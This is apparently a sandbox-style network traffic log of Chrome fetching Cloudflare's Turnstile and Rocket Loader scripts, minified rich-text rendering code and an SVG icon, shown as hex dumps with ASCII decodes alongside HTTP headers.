2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 5d 3d 5b 75 2e 42 4c 4f 43 4b 53 2e 50 41 52 41 47 52 41 50 48 5d 2c 6e 5b 75 2e 42 4c 4f 43 4b 53 2e 54 41 42 4c 45 5f 48 45 41 44 45 52 5f 43 45 4c 4c 5d 3d 5b 75 2e 42 4c 4f 43 4b 53 2e 50 41 52 41 47 52 41 50 48 5d 2c 6e 29 2c 74 2e 48 45 41 44 49 4e 47 53 3d 5b 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 31 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 32 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 33 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 34 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 35 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 36 5d 2c 74 2e 54 45 58 54 5f 43 4f 4e 54 41 49 4e 45 52 53 3d 72 28 5b 75 2e 42 4c 4f 43 4b 53 2e 50 41 52 41 47 52 41 50 48 5d 2c 74 2e 48 45 41 44 49 4e 47 53 Data Ascii: ]=[u.BLOCKS.PARAGRAPH],n[u.BLOCKS.TABLE_HEADER_CELL]=[u.BLOCKS.PARAGRAPH],n),t.HEADINGS=[u.BLOCKS.HEADING_1,u.BLOCKS.HEADING_2,u.BLOCKS.HEADING_3,u.BLOCKS.HEADING_4,u.BLOCKS.HEADING_5,u.BLOCKS.HEADING_6],t.TEXT_CONTAINERS=r([u.BLOCKS.PARAGRAPH],t.HEADINGS
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 74 3d 3d 3d 65 5b 72 5b 6e 5d 5d 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 69 73 54 65 78 74 3d 74 2e 69 73 42 6c 6f 63 6b 3d 74 2e 69 73 49 6e 6c 69 6e 65 3d 76 6f 69 64 20 30 2c 74 2e 69 73 49 6e 6c 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 64 2e 49 4e 4c 49 4e 45 53 2c 65 2e 6e 6f 64 65 54 79 70 65 29 7d 2c 74 2e 69 73 42 6c 6f 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 75 2e 42 4c 4f 43 4b 53 2c 65 2e 6e 6f 64 65 54 79 70 65 29 7d 2c 74 2e 69 73 54 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 74 65 78 Data Ascii: t===e[r[n]])return!0}return!1}Object.defineProperty(t,"__esModule",{value:!0}),t.isText=t.isBlock=t.isInline=void 0,t.isInline=function(e){return n(d.INLINES,e.nodeType)},t.isBlock=function(e){return n(u.BLOCKS,e.nodeType)},t.isText=function(e){return"tex
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 74 2c 22 49 4e 4c 49 4e 45 53 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 2e 49 4e 4c 49 4e 45 53 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 4d 41 52 4b 53 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 6d 29 2e 64 65 66 61 75 6c 74 7d 7d 29 2c 6f 28 70 2c 74 29 2c 6f 28 66 2c 74 29 2c 6f 28 68 2c 74 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 45 4d 50 54 59 5f 44 4f 43 55 4d 45 4e 54 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 67 29 2e 64 65 66 61 Data Ascii: t,"INLINES",{enumerable:!0,get:function(){return d.INLINES}}),Object.defineProperty(t,"MARKS",{enumerable:!0,get:function(){return i(m).default}}),o(p,t),o(f,t),o(h,t),Object.defineProperty(t,"EMPTY_DOCUMENT",{enumerable:!0,get:function(){return i(g).defa
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 65 6e 74 28 22 68 34 22 2c 6e 75 6c 6c 2c 74 29 7d 2c 79 5b 4d 2e 48 45 41 44 49 4e 47 5f 35 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 68 35 22 2c 6e 75 6c 6c 2c 74 29 7d 2c 79 5b 4d 2e 48 45 41 44 49 4e 47 5f 36 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 68 36 22 2c 6e 75 6c 6c 2c 74 29 7d 2c 79 5b 4d 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 6e 75 6c 6c 2c 74 29 7d 2c 79 5b 4d 2e 45 4d 42 45 44 44 45 44 5f 52 45 53 4f 55 52 43 45 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: ent("h4",null,t)},y[M.HEADING_5]=function(e,t){return a.createElement("h5",null,t)},y[M.HEADING_6]=function(e,t){return a.createElement("h6",null,t)},y[M.EMBEDDED_ENTRY]=function(e,t){return a.createElement("div",null,t)},y[M.EMBEDDED_RESOURCE]=function(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49850	104.18.95.41	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	561	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:49 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/62ec4f065604/api.js Server: cloudflare CF-RAY: 8d393db92973a921-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49853	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	593	OUT	GET /cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	762	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: application/javascript Content-Length: 12332 Connection: close Last-Modified: Mon, 14 Oct 2024 09:31:37 GMT ETag: "670ce4f9-302c" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXLO4BLN%2BYcVCUIewurrzNXD7Ug65cZpYLDAE6yWNy0DqpPLU3UcgUSLJnZ8a%2FmxHZFnr3uwAnBWW%2FpoYkSuPdOb2u9Q%2Fr%2FpoWCBe4ag7wXros5zKRNrcxfnilfQQOnu9kts2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db939d9e901-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 18 Oct 2024 15:56:49 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	607	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 22 63 66 2d 6d 61 72 6b 65 72 2d 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 6c 69 63 65 28 32 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 28 6e 3d 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 7c 7c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 6e 2c 5b 63 6f 6e 73 6f 6c 65 2c 22 5b 52 4f 43 4b 45 54 20 4c 4f 41 44 45 52 5d 20 22 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3b 76 61 72 20 6e 7d 66 75 6e 63 Data Ascii: !function(){"use strict";function t(){return"cf-marker-"+Math.random().toString().slice(2)}function e(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];(n=console.warn\|\|console.log).call.apply(n,[console,"[ROCKET LOADER] "].concat(t));var n}func
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 28 74 29 7b 72 65 74 75 72 6e 20 61 28 74 2c 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 65 28 29 2c 74 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 74 2c 65 29 7b 74 2e 6f 6e 6c 6f 61 64 3d 73 28 74 2e 6f 6e 6c 6f 61 64 2c 65 29 2c 74 2e 6f 6e 65 72 72 6f 72 3d 73 28 74 2e 6f 6e 65 72 72 6f 72 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 4e 53 28 74 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 22 73 63 72 69 70 74 22 29 3b 65 2e 61 73 79 6e 63 3d 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 Data Ascii: ion c(t){return a(t,"")}function s(t,e){return function(n){if(e(),t)return t.call(this,n)}}function u(t,e){t.onload=s(t.onload,e),t.onerror=s(t.onerror,e)}function p(t){var e=document.createElementNS(t.namespaceURI,"script");e.async=t.hasAttribute("async"
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 52 29 3b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 54 29 3b 72 65 74 75 72 6e 7b 6e 6f 6e 63 65 3a 6e 5b 30 5d 2c 68 61 6e 64 6c 65 72 50 72 65 66 69 78 4c 65 6e 67 74 68 3a 2b 6e 5b 31 5d 2c 62 61 69 6c 6f 75 74 3a 21 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 65 66 65 72 22 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 29 7b 76 61 72 20 65 3d 42 2b 74 2e 6e 6f 6e 63 65 3b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 22 2b 65 2b 22 5d 22 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 65 29 2c 41 72 72 61 79 2e 70 72 6f 74 Data Ascii: R);if(!e)return null;var n=e.split(T);return{nonce:n[0],handlerPrefixLength:+n[1],bailout:!t.hasAttribute("defer")}}function g(t){var e=B+t.nonce;Array.prototype.forEach.call(document.querySelectorAll("["+e+"]"),function(n){n.removeAttribute(e),Array.prot
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 31 2e 30 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 31 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 32 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 33 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 34 22 3a 21 30 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 31 2e 35 22 3a 21 30 2c 22 74 65 78 74 2f 6a 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 6c 69 76 65 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 65 63 6d 61 73 63 72 69 70 74 22 3a 21 30 2c 22 74 65 78 74 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 22 3a 21 30 2c 6d 6f 64 75 6c 65 3a 21 30 7d 2c 6b 3d 76 6f 69 64 20 30 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 Data Ascii: 1.0":!0,"text/javascript1.1":!0,"text/javascript1.2":!0,"text/javascript1.3":!0,"text/javascript1.4":!0,"text/javascript1.5":!0,"text/jscript":!0,"text/livescript":!0,"text/x-ecmascript":!0,"text/x-javascript":!0,module:!0},k=void 0!==document.createEleme
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 6e 6f 6e 63 65 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 2e 74 79 70 65 2e 73 75 62 73 74 72 28 74 68 69 73 2e 6e 6f 6e 63 65 2e 6c 65 6e 67 74 68 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 6b 65 4e 6f 6e 45 78 65 63 75 74 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 74 79 70 65 3d 74 68 69 73 2e 6e 6f 6e 63 65 2b 74 2e 74 79 70 65 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 65 6e 64 Data Ascii: prototype.hasNonce=function(t){return 0===(t.getAttribute("type")\|\|"").indexOf(this.nonce)},t.prototype.removeNonce=function(t){t.type=t.type.substr(this.nonce.length)},t.prototype.makeNonExecutable=function(t){t.type=this.nonce+t.type},t.prototype.isPend
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 65 6e 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 69 6e 73 65 72 74 69 6f 6e 50 6f 69 6e 74 4d 61 72 6b 65 72 3d 74 2c 74 68 69 73 2e 62 75 66 66 65 72 3d 22 22 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 74 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 65 2e 77 72 69 74 65 28 74 2c 21 31 29 7d 2c 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 Data Ascii: ototype.enable=function(t){var e=this;this.insertionPointMarker=t,this.buffer="",document.write=function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return e.write(t,!1)},document.writeln=function(){for(var t=[],n=0;n<arguments.length;n++)
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 74 79 70 65 2e 77 72 69 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 6e 26 26 69 28 6e 29 26 26 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 73 79 6e 63 22 29 3f 28 72 3d 65 3f 5f 3a 4c 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 72 2c 5b 64 6f 63 75 6d 65 6e 74 5d 2e 63 6f 6e 63 61 74 28 74 29 29 3a 74 68 69 73 2e 62 75 66 66 65 72 2b 3d 74 2e 6d 61 70 28 53 74 72 69 6e 67 29 2e 6a 6f 69 6e 28 65 3f 22 5c 6e 22 3a 22 22 29 3b 76 61 72 20 72 7d 2c 74 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 69 6d 75 6c 61 74 65 64 52 65 61 64 79 53 74 61 74 65 3d 22 6c 6f 61 64 69 Data Ascii: type.write=function(t,e){var n=document.currentScript;n&&i(n)&&n.hasAttribute("async")?(r=e?_:L).call.apply(r,[document].concat(t)):this.buffer+=t.map(String).join(e?"\n":"");var r},t}(),j=function(){function t(){var t=this;this.simulatedReadyState="loadi
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6e 74 73 49 6e 50 72 6f 78 69 65 73 3d 21 30 7d 2c 30 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 75 70 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 50 72 6f 78 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 45 76 65 6e 74 54 61 72 67 65 74 3f 5b 45 76 65 6e 74 54 61 72 67 65 74 2e 70 72 6f 74 6f 74 79 70 65 5d 3a 5b 4e 6f 64 65 2e 70 72 6f 74 6f 74 79 70 65 2c 57 69 6e 64 6f 77 2e 70 72 6f 74 6f 74 79 70 65 5d 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 67 65 74 4d 65 74 68 6f 64 73 28 65 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 74 63 68 45 76 65 6e 74 54 61 72 Data Ascii: ntsInProxies=!0},0)},t.prototype.setupEventListenerProxy=function(){var t=this;("undefined"!=typeof EventTarget?[EventTarget.prototype]:[Node.prototype,Window.prototype]).forEach(function(e){return t.patchEventTargetMethods(e)})},t.prototype.patchEventTar
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 69 6d 75 6c 61 74 6f 72 22 2c 7b 76 61 6c 75 65 3a 6e 65 77 20 6a 7d 29 2c 74 2e 5f 5f 72 6f 63 6b 65 74 4c 6f 61 64 65 72 4c 6f 61 64 50 72 6f 67 72 65 73 73 53 69 6d 75 6c 61 74 6f 72 7d 28 29 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 3d 74 2c 74 68 69 73 2e 73 65 74 74 69 6e 67 73 3d 65 2c 74 68 69 73 2e 70 72 65 6c 6f 61 64 48 69 6e 74 73 3d 5b 5d 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 73 65 72 74 50 72 65 6c 6f 61 64 48 69 6e 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 73 63 72 69 70 74 53 74 61 63 6b 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 61 28 65 2c Data Ascii: imulator",{value:new j}),t.__rocketLoaderLoadProgressSimulator}(),W=function(){function t(t,e){this.scriptStack=t,this.settings=e,this.preloadHints=[]}return t.prototype.insertPreloadHints=function(){var t=this;this.scriptStack.forEach(function(e){if(a(e,
2024-10-16 15:56:49 UTC	773	IN	Data Raw: 69 76 61 74 65 53 63 72 69 70 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 2e 73 63 72 69 70 74 2c 72 3d 74 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 6f 3d 74 2e 65 78 74 65 72 6e 61 6c 2c 69 3d 74 2e 61 73 79 6e 63 2c 61 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 63 6f 6e 74 61 69 6e 73 28 72 29 29 72 65 74 75 72 6e 20 65 28 22 50 6c 61 63 65 68 6f 6c 64 65 72 20 66 6f 72 20 73 63 72 69 70 74 20 5c 6e 22 2b 6e 2e 6f 75 74 65 72 48 54 4d 4c 2b 22 5c 6e 20 77 61 73 20 64 65 74 61 63 68 65 64 20 66 72 6f 6d 20 64 6f 63 75 6d 65 6e 74 2e 22 2c 22 53 63 72 69 70 74 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 65 78 65 63 75 74 65 64 2e 22 29 2c 6e 75 6c 6c 3b 76 61 72 20 63 3d 74 68 69 73 2e 73 65 74 74 69 6e 67 Data Ascii: ivateScript=function(t){var n=t.script,r=t.placeholder,o=t.external,i=t.async,a=r.parentNode;if(!document.contains(r))return e("Placeholder for script \n"+n.outerHTML+"\n was detached from document.","Script will not be executed."),null;var c=this.setting

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49854	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	552	OUT	GET /img/privacyoptions.svg HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close ETag: W/"5a8d3dae7c1ddd64826cea94a93139d4" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wLjPv2o7HheWesKddNRnrtIGoVAoMdRDkKxIW4DQlAi4b2iBB1hN%2B7zFE4S0XQNTCjIUfEehOb5amYD%2B1OPtHVSZSmkNN62hzzvBzCY8AjhVhsQcKAn%2B1Ct%2B9HXbc1JBAWu6WQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db948276b94-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 37 30 31 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 78 3d 22 30 70 78 Data Ascii: 701<?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px
2024-10-16 15:56:49 UTC	431	IN	Data Raw: 2e 32 2c 30 2e 32 2d 30 2e 36 2c 30 2e 32 2d 30 2e 38 2c 30 63 2d 30 2e 32 2d 30 2e 32 2d 30 2e 32 2d 30 2e 36 2c 30 2d 30 2e 38 6c 30 2c 30 4c 32 30 2e 38 2c 37 6c 2d 32 2e 32 2d 32 2e 32 63 2d 30 2e 32 2d 30 2e 32 2d 30 2e 32 2d 30 2e 36 2c 30 2d 30 2e 38 0a 09 09 09 09 09 63 30 2e 32 2d 30 2e 32 2c 30 2e 36 2d 30 2e 32 2c 30 2e 38 2c 30 6c 30 2c 30 6c 32 2e 32 2c 32 2e 32 4c 32 33 2e 38 2c 34 43 32 34 2c 33 2e 38 2c 32 34 2e 34 2c 33 2e 38 2c 32 34 2e 36 2c 34 7a 22 2f 3e 0a 09 09 09 09 3c 70 61 74 68 20 69 64 3d 22 79 22 20 63 6c 61 73 73 3d 22 73 74 33 22 20 64 3d 22 4d 31 32 2e 37 2c 34 2e 31 63 30 2e 32 2c 30 2e 32 2c 30 2e 33 2c 30 2e 36 2c 30 2e 31 2c 30 2e 38 6c 30 2c 30 4c 38 2e 36 2c 39 2e 38 43 38 2e 35 2c 39 2e 39 2c 38 2e 34 2c 31 30 2c 38 Data Ascii: 